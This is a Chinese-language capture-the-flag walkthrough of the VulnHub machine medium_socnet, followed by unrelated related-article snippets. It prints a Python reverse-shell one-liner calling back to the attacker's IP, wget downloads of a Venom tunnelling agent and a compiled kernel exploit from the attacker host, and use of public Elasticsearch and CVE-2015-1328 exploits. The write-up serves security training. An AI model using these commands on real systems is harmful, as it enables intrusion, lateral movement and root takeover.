打靶记录——靶机medium_socnet

靶机下载地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
image.png

打靶过程

由于靶机和我的Kali都处于同一个网段,所以使用arpscan二次发现技术来识别目标主机的IP地址

arpscan -l

image.png
除了192.168.174.133,其他IP都是我VMware虚拟机正常运行会使用到的IP
那么拿到IP之后,对IP进行全端口的扫描,看看有哪些端口开起了,有哪些服务存在

nmap -p- 192.168.174.133

image.png
再进行一下服务版本的探测

nmap -p22,5000 -sV 192.168.174.133

image.png


在 nmap 中,-sV 参数是用来进行服务版本检测的。当你使用 -sV 参数扫描目标主机时,nmap 会尝试探测主机上运行的各种服务及其版本信息。这对于识别目标系统中运行的具体服务版本是非常有用的,可以帮助确定是否存在已知的漏洞或安全问题。

使用 -sV 的主要功能和工作原理:

  1. 服务版本检测
    • nmap 使用 -sV 参数时,会发送特定的探测请求到目标主机的开放端口,通过分析目标主机对请求的响应来判断具体的服务及其版本信息。
  2. 精准信息
    • 相比于仅仅检测端口是否开放(使用 -sS 或 -sT 等参数进行端口扫描),-sV 参数能够提供更详细和精准的信息,包括服务的具体版本号。
  3. 识别漏洞
    • 通过得知具体的服务版本号,可以帮助安全专家或管理员快速判断服务是否存在已知漏洞或安全问题,进而采取相应的安全措施或修复措施。
  4. 使用示例
    • 基本用法:nmap -sV
    • 指定端口范围:nmap -sV -p
    • 针对多个目标:nmap -sV …
  5. 注意事项
    • -sV 参数会增加扫描时间和网络流量,因为它需要发送多个探测请求并等待响应。对于大型网络或复杂的目标系统,可能需要更多时间来完成扫描。
    • 某些防火墙或入侵检测系统可能会检测到 nmap 的服务版本检测行为,并采取防御措施。

总之,-sV 参数使得 nmap 在扫描过程中可以提供更多有关目标主机上服务的详细信息,有助于评估系统的安全性和配置状态。


发现Ubantu和python
既然是Http服务,那么我们就访问一个Web界面
image.png
没有发现有注入点,那么我们尝试一下目录扫描

dirsearch -u "http://192.168.174.133:5000/"

image.png
发现了后台地址,发现可以进行代码执行,放到exec()函数中执行的
image.png
那么我们可以进行一个反弹shell,利用python
先在kali中监听端口

nc -lvvnp 6666

然后在网站中执行反弹shell的代码
image.png

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

成功反弹shell
image.png
但是发现可能是在docker容器里面的,因为有Dockerfile文件存在。
如果还不确定是否是docker容器,有两个方法
1、查看根目录下是否存在 .dockerenv 这个文件

 ls /.dockerenv

image.png
如果存在 .dockerenv 这个文件,那么90%说明这就是docker系统
2、查看 /proc/1/cgroup

cat /proc/1/cgroup

image.png
如果出现这些内容,那么100%是一个docker容器
因为Linux系统启动之后,1这个PID就代表着这个系统上的初始化进程的ID,当初始化ID的cgroup文件包含着明确的docker镜像主机的这些信息的话,那就100%是一个docker容器

那么先查看一下当前的docker的IP地址
image.png

172.17.0.3/16

那我们把docker当成内网,然后把内网网段的每一个IP都ping一遍,看看有没有回包
用一个脚本来测试

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

这段代码是一个简单的 Bash 脚本,用于循环执行 ping 命令,以便对一组 IP 地址进行测试。让我们逐步解释这段代码的每个部分:

  1. for 循环
bashfor i in $(seq 1 10);
  • for i in … 表示开始一个循环,其中 i 是循环变量。
  • ( s e q 110 ) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq 1 10) 是一个命令替换,它生成从 1 到 10 的整数序列。因此, (seq110)是一个命令替换,它生成从110的整数序列。因此,i 将会依次取值 1 到 10。
  1. ping 命令
bashping -c 1 172.17.0.$i;
  • ping 命令用于向指定的主机发送 ICMP 回显请求,以测试主机的可达性和响应时间。
  • -c 1 参数表示发送一个 ICMP 请求,即每个主机只发送一个请求。
  • 172.17.0.$i 是一个带有变量的 IP 地址,其中 $i 是 for 循环中的当前值,用来替换为具体的 IP 地址,如 172.17.0.1 到 172.17.0.10。
  1. 循环体
    • 整个 for 循环的主体是 ping -c 1 172.17.0.$i;,这意味着会对序列中的每个 IP 地址执行一次 ping 操作。

执行过程:

  • 当脚本执行时,$i 会依次取值 1 到 10。
  • 对于每个循环迭代,ping 命令会发送一个 ICMP 请求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
  • 如果目标主机响应,则输出显示主机的响应时间和状态信息;如果没有响应,则显示主机不可达或超时的信息。

注意事项:

  • 权限:执行 ping 命令通常需要足够的权限,通常是 root 或者具有相应网络权限的用户。
  • 网络设置:确保你的网络设置允许 ICMP 请求,否则 ping 命令可能无法正常工作。
  • 循环范围:代码中使用的 IP 地址范围和具体地址可能会根据实际情况和网络配置而变化。

这段代码适合于快速测试一组 IP 地址是否可达,并获得它们的基本网络信息。


image.png
发现三个IP回包了

接下来要使用内网穿透技术,把我的Kali到它内网的这个路由给打通
推荐使用Venom v1.1.0,下载地址https://github.com/Dliv3/Venom/releases
image.png
下载后放到Kali中解压
image.png
我们现在要做的是把客户端程序,先传输拷贝到目标系统上,然后再通过Kali
上的服务器端程序,在他们之间建立一条隧道
那么现在Kali中开启服务端,监听9999端口,等待容器系统和我的Kali建立反弹的连接
image.png
然后目标服务器需要下载我的客户端程序
我先通过python开启一个http服务,然后让目标服务器直接通过Wegt来下载客户端程序

python3 -m http.server 80

image.png
然后再目标服务器上执行命令

wget http://192.168.174.128/agent_linux_x64

image.png

chmod +x agent_linux_x64    //赋予执行权限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999      // 连接Kali

image.png
Kali发现了一个已连接的节点

goto 1
socks 1080    //启动socks代理

image.png
为了让Kali上的所用工具都可以通过代理去扫描内网的所有网段的话,那必须使用另外一个工具 proxychains4 ,可以挂载我们当前的代理

vim /etc/proxychains4.conf

image.png
Nmap扫描一下端口,当然前提是要挂上proxychains

proxychains nmap -Pn -sT 172.17.0.1
  1. -Pn 参数
    • -Pn 参数告诉 nmap 不要进行主机发现(即不要进行Ping测试),而是假设目标主机是活跃的。这是一种绕过目标主机可能配置的防火墙或过滤规则的方法,因为有些网络设备会屏蔽 Ping 请求。
  2. -sT 参数
    • -sT 参数指定了使用 TCP 连接扫描(也称为全连接扫描)。在 TCP 连接扫描中,nmap 会尝试建立一个完全的 TCP 连接,以判断目标端口的状态(开放、关闭、过滤)。

image.png
再看一下版本

proxychains nmap -Pn -sT -sV 172.17.0.1

proxychains 是一个工具,它允许用户将其他命令通过代理服务器执行,而不是直接连接到目标主机。

  • proxychains 是一个用于代理网络连接的工具。它能够劫持其他命令的网络连接,将其通过配置好的代理服务器转发出去,从而达到隐藏真实 IP 地址或绕过网络防火墙的目的。

image.png
发现就是我们原来的那台,只不过172.17.0.1是面向内网容器的IP
那么我们再扫描一下172.17.0.2这个IP

proxychains nmap -Pn -sT -sV 172.17.0.2

image.png
发现是Elasticsearch,我们可以利用一下漏洞

searchsploit Elasticsearch

image.png
那我们把漏洞利用代码复制到当前目录上查看一下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

发现是Python2的
image.png
提示需要加上 target 参数
image.png

proxychains python2 36337.py 172.17.0.2

image.png

解密密码https://www.somd5.com/
image.png
SSH登录

proxychains ssh john@172.17.0.1

image.png
看一下内核
image.png

searchsploit Linux 3.13.0 Ubuntu

看一下可利用的漏洞
image.png
先弄下来看看代码

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image.png
发现需要gcc来编译,但是目标靶机上面没有gcc
先找到二进制共享库文件ofs-lib.so

locate ofs-lib.so

image.png
然后我们直接在Kali什么编译好之后再发过去,然后将这段代码给注释掉
image.png

gcc -o exp 37292.c

有报错但是不影响
image.png
然后把ofs-lib.so文件也拷贝过来

/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

image.png
开启Http服务

python3 -m http.server 80

image.png

john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so

image.png
下载完成后将他们放到/tmp临时目录下,这个目录权限大一点
前面也有说在/tmp目录下调用,这样可以减少报错
image.png

mv * /tmp

image.png

chmod +x exp
./exp

image.png
获得root权限!

总结

  1. 先进行主机发现,然后针对发现的主机进行端口扫描以及服务的扫描
  2. 扫描完之后发现靶机在5000端口的一个Web应用,尝试访问Web应用
  3. 在Web应用下,我们未获得已知漏洞
  4. 通过dirsearch在5000端口发现了后台路径
  5. 在后台地址发现了远程代码执行漏洞,利用这个漏洞,获取到了一个目标系统的反弹shell
  6. 获得shell之后,发现自己被困在一个docker的容器系统里面,基于容器系统,对内网的IP地址段进行发现
  7. 识别除了两个内网主机中的IP地址,一个是172.17.0.1,一个是172.17.0.2
  8. 然后挂上代理进行内网穿透,对这两个地址进行了全端口的扫描,在扫描过程中发现0.2地址上面开启了9200端口
  9. 而9200端口是Elasticsearch默认的服务监听端口,所以尝试对Elasticsearch进行漏洞的利用和攻击,结果成功拿下了172.17.0.2这台主机
  10. 在这台主机里继续进行信息收集,我们发现了一个password的文件,在里面收获了john这个账号的密码,密码是需要进行破解的
  11. 拿到账号密码之后尝试对内网所有开启22端口的主机进行登录,最终成功登录目标的靶机系统
  12. 登录后没有root权限,需要进行本地提权
  13. 发现是比较老的操作系统,内核版本比较老,所以使用针对内核漏洞进行提权的代码
  14. 但是漏洞利用代码又没有办法在目标系统上进行GCC的编译,所以不得不修改代码重新编译
  15. 把编译之后的漏洞利用代码和二进制的库文件一起传输到目标服务器上
  16. 最终在目标服务器上成功利用漏洞进行本地提权,拿到root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/759072.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

算法力扣刷题 二十六【459.重复的子字符串】

前言 字符串篇,继续。 记录 二十六【459.重复的子字符串】 一、题目阅读 给定一个非空的字符串 s ,检查是否可以通过由它的一个子串重复多次构成。 示例 1: 输入: s "abab" 输出: true 解释: 可由子串 "ab" 重复两次构成。示例…

在TkinterGUI界面显示WIFI网络(ESP32s3)摄像头画面

本实验结合了之前写过的两篇文章Python调用摄像头,实时显示视频在Tkinter界面以及ESP32 S3搭载OV2640摄像头释放热点(AP)工作模式–Arduino程序,当然如果手头有其他可以获得网络摄像头的URL即用于访问摄像头视频流的网络地址&…

浅谈Tomcat

文章目录 一、什么是Tomcat?二、Tomcat的下载安装三、使用tomcat访问资源 一、什么是Tomcat? Tomcat 就是一个 HTTP 服务器。 前面我们聊了HTTP服务器,像我们在网页输入URL,其实就是在给人家的HTTP服务器发送请求,既…

计算机网络之数据通信原理(中)

上节内容传送口:数据通信原理基础 1.数据传输方式 1.1并行传输 并行传输: 字符编码的各个比特同时传输 特点: 一个比特时间内可传输一个字符,传输速度快,每个比特传输要求一个单独的信道支持,通信成本高&#xf…

红黑树插入删除流程(流程图)

红黑树插入删除流程(流程图) 红黑树性质 左根右(二叉树)根叶黑(根节点是黑色的)不红红(不存在相邻两个红色节点)黑路同(对于每个节点,从该节点出发到任一空叶节点所经过…

收银系统源码-千呼新零售【全场景收银】

千呼新零售2.0系统是零售行业连锁店一体化收银系统,包括线下收银线上商城连锁店管理ERP管理商品管理供应商管理会员营销等功能为一体,线上线下数据全部打通。 适用于商超、便利店、水果、生鲜、母婴、服装、零食、百货、宠物等连锁店使用。 详细介绍请…

intellij idea中使用R语言plot画图无图像问题

1、在intellij idea中使用R语言plot函数时,会遇到各种各样的问题,会出现图片不显示问题, 可以看到,目前我电脑r语言版本为4.2.1,输入下面代码: # # 安装包 # install.packages(ggplot2) # library(ggplot2…

理解MySQL核心技术:外键的概念作用和应用实例

引言 在数据库管理系统(DBMS)中,外键(Foreign Key)是维持数据一致性和实现数据完整性的重要工具。本文将详细介绍MySQL外键的基本概念、作用,以及相关的操作指南和应用实例,帮助读者掌握并灵活…

实现了Map接口的HashMap

HashMap 底层主要由以下几个部分组成&#xff1a; 数组 (Node<K,V>[] table): 这是一个数组&#xff0c;存储的是链表的头节点。默认大小为 16。链表 (Linked List): 当发生哈希冲突时&#xff0c;即不同的键具有相同的哈希值&#xff0c;HashMap 使用链表来解决冲突。链…

2024年06月CCF-GESP编程能力等级认证Scratch图形化编程一级真题解析

本文收录于《Scratch等级认证CCF-GESP图形化真题解析》专栏,专栏总目录:点这里,订阅后可阅读专栏内所有文章。 一、单选题(每题 3 分,共 30 分) 第1题 小杨父母带他到某培训机构给他报名参加 CCF 组织的 GESP 认证考试的第 1级,那他可以选择的认证语言有几种?( ) A、…

C++ | Leetcode C++题解之第204题计数质数

题目&#xff1a; 题解&#xff1a; class Solution { public:int countPrimes(int n) {vector<int> primes;vector<int> isPrime(n, 1);for (int i 2; i < n; i) {if (isPrime[i]) {primes.push_back(i);}for (int j 0; j < primes.size() && i …

百度网盘下载速度慢的解决办法

目录 一、背景 二、解决办法 1、点击三个竖点&#xff0c;再点设置 2、点击传输&#xff0c;再点击去开启该功能 3、点击同意&#xff0c;开启优化速率 三、结果 四、备注 一、背景 当你不是百度网盘会员时&#xff0c;你在使用百度网盘下载时&#xff0c;是否下载速度太…

isalnum()方法——判断字符串是否由字母和数字组成

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 语法参考 isalnum()方法用于判断字符串是否由字母和数字组成。isalnum()方法的语法格式如下&#xff1a; str.isalnum() 如果字符串中至少有一个字…

缺少msvcp140一键修复方法,快速解决msvcp140.dll丢失问题

日常中电脑已经成为我们生活和工作中不可或缺的工具。然而&#xff0c;在使用电脑的过程中&#xff0c;我们常常会遇到一些问题&#xff0c;其中之一就是电脑运行软件时提示找不到msvcp140.dll。这个问题会导致软件无法启动运行&#xff0c;但只要我们了解其原因并采取相应的解…

六月,允许自己做自己,别人做别人

今天结束后&#xff0c;2024 就过去一半了。 年初的规划完成一半了吗&#xff1f;如果没有也没关系&#xff0c;做你自己继续前进。 家人来北京旅游&#xff0c;我累趴了 六月初&#xff0c;我搬家了&#xff0c;这次租了一整套房&#xff0c;是一个小俩居、还带一个小阁楼。…

鸿蒙如何打包应用程序

总结鸿蒙应用程序包 之前文章详细讲解了关于三种程序包的内容&#xff0c;现在简单总结一下&#xff1a; 1. 总结 首先需要搞清楚鸿蒙项目的模块Module的分类: Module分为“Ability”和“Library”两种类型 HAP HAP: Harmony Ability Package , 叫做鸿蒙Ability包。 “Abil…

静态时序分析:ideal_clock、propagated_clock以及generated_clock的关系及其延迟计算规则(二)

相关阅读 静态时序分析https://blog.csdn.net/weixin_45791458/category_12567571.html?spm1001.2014.3001.5482 生成时钟 上一节中&#xff0c;我们讨论了理想时钟和传播时钟的创建和使用&#xff0c;本节将讨论生成时钟及其与理想时钟和传播时钟的关系。 图1所示的是一个简…

权限维持-域环境单机版---映像劫持(多)

目录 映像位置: 测试&#xff1a;执行 notepad 成 cmd 配合GlobalFlag隐藏-->执行正常关闭后触发 映像位置: 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe 测试&#xff1a;执行 notepad 成 cmd…

Python和MATLAB粘性力接触力动态模型半隐式欧拉算法

&#x1f3af;要点 &#x1f3af;运动力模型计算制作过程&#xff1a;&#x1f58a;相机捕捉网球运动图&#xff0c;制定运动数学模型&#xff0c;数值微分运动方程 | &#x1f58a;计算运动&#xff0c;欧拉算法离散积分运动&#xff0c;欧拉-克罗默算法微分运动方程 &#…

VSCode + GDB + J-Link 单片机程序调试实践

VSCode GDB J-Link 单片机程序调试实践 本文介绍如何创建VSCode的调试配置&#xff0c;如何控制调试过程&#xff0c;如何查看修改各种变量。 安装调试插件 在 VSCode 扩展窗口搜索安装 Cortex-Debug插件 创建调试配置 在 Run and Debug 窗口点击 create a launch.json …